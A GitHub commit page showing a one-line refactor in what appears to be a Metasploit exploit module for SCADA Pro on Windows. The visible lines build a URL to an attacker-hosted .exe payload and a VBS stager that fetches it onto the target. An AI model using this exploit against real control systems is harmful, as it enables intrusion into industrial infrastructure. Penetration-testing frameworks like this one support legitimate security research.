We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
1 parent a12d124 commit b43522aCopy full SHA for b43522a
modules/exploits/windows/scada/scadapro_cmdexe.rb
@@ -103,7 +103,7 @@ def exploit
103
end
104
105
payload_src = lhost
106
- payload_src << ":" << datastore['SRVPORT'] << datastore['URIPATH'] << @payload_name << ".exe"
+ payload_src << ":#{datastore['SRVPORT']}#{datastore['URIPATH']}#{@payload_name}.exe"
107
108
stager_name = rand_text_alpha(6) + ".vbs"
109
stager = build_vbs(payload_src, stager_name)
0 commit comments